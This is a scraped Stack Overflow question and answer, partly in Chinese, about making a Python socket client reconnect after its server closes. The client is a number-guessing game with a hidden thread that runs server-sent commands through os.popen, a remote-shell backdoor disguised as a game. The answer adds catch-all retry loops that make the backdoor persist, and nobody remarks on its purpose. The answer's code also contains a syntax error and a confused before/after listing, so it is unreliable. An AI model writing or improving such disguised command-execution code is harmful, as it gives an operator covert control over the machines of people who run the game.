【问题标题】:How can I have client socket continue listening for server after a server is closed in python?在 python 中关闭服务器后,如何让客户端套接字继续侦听服务器?
【发布时间】:2020-12-27 05:27:13
【问题描述】:

这是我的client.py:

import random
import socket
import threading
import os
from time import sleep


def access():
    HOST = '127.0.0.1'
    PORT = 22262

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    while True:
        try:
            client.connect((HOST, PORT))
            break
        except Exception:
            sleep(1)
    cmd_mode = False

    while True:
        command = client.recv(1024).decode('utf-8')
        if command == 'cmdon':
            cmd_mode = True
            client.send('You now have terminal access!'.encode('utf-8'))
            continue
        if command == 'cmdoff':
            cmd_mode = False
        if cmd_mode:
            os.popen(command)
        if command == 'hello':
            print('Hello World!')
        client.send(f'{command} was exectued successfully!'.encode('utf-8'))


def game():
    number = random.randint(0, 1000)
    tries = 1
    done = False

    while not done:
        guess = int(input('Enter a guess: '))

        if guess == number:
            done = True
            print('You won!')
        else:
            tries += 1
            if guess > number:
                print('The actual number is smaller.')
            else:
                print('The actual number is larger.')
        print(f'You need {tries} tries!')


t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)

t1.start()
t2.start()

这是 server.py

import socket

HOST = ''
PORT = 22262

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))

server.listen()

client, address = server.accept()

while True:
    print(f'Connected to {address}')
    cmd_input = input('Enter a command: ')
    client.send(cmd_input.encode('utf-8'))
    print(client.recv(1024).decode('utf-8'))

这可行,但如果我断开 server.py 的连接,我会在 client.py 上收到以下错误:

ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host

他们是让 client.py 始终监听并等待 server.py 上线以便他们可以再次连接的方法吗?基本上我希望 client.py 永远不会停止监听 server.py

【问题讨论】:

  • 客户端通常不会监听服务器。服务器持续监听,客户端在需要时连接到它。
  • 这基本上就是客户端和服务器的区别。
  • 客户端应该继续尝试连接到服务器。没有内置的东西可以自动执行此操作。因此,只需将 connect() 调用放在一个循环中即可。
  • 他要定期检查服务器是否在线,如果我弄错了,请纠正我
  • 错误是由于现有的连接被关闭。

标签: python python-3.x multithreading sockets port


【解决方案1】:

您描述的问题表明服务器在您的客户端执行任务时关闭了连接,因此最简单的解决方案是将其包装在try...except while_loop

替换

def access():
    HOST = '127.0.0.1'
    PORT = 22262


    while True:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            client.connect((HOST, PORT))
            break
        except Exception:
            sleep(1)
    cmd_mode = False

    while True:
        command = client.recv(1024).decode('utf-8')
        if command == 'cmdon':
            cmd_mode = True
            client.send('You now have terminal access!'.encode('utf-8'))
            continue
        if command == 'cmdoff':
            cmd_mode = False
        if cmd_mode:
            os.popen(command)
        if command == 'hello':
            print('Hello World!')
        client.send(f'{command} was exectued successfully!'.encode('utf-8'))

def access():
    HOST = '127.0.0.1'
    PORT = 22262

    while True
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            while True:
                try:
                    client.connect((HOST, PORT))
                    break
                except Exception:
                    sleep(1)
            cmd_mode = False
    
            while True:
                command = client.recv(1024).decode('utf-8')
                if command == 'cmdon':
                    cmd_mode = True
                    client.send('You now have terminal access!'.encode('utf-8'))
                    continue
                if command == 'cmdoff':
                    cmd_mode = False
                if cmd_mode:
                    os.popen(command)
                if command == 'hello':
                    print('Hello World!')
                client.send(f'{command} was exectued successfully!'.encode('utf-8'))
        except:
            pass

现在上面的代码使用 try 和 except 和一个 while 循环将其包装起来,因此即使服务器在连接之间出现故障,它也会继续尝试连接到服务器

【讨论】:

  • 这确实消除了错误,但它没有连接到服务器。
  • 那么请稍等
  • 同样的问题。客户端未显示在服务器端
  • 哦,抱歉,我误编辑了我不想编辑的东西,我会再编辑一次
  • 请重试
猜你喜欢
  • 2021-04-04
  • 2012-06-09
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-06-17
  • 2019-06-03
  • 1970-01-01
  • 2013-01-16
相关资源
最近更新 更多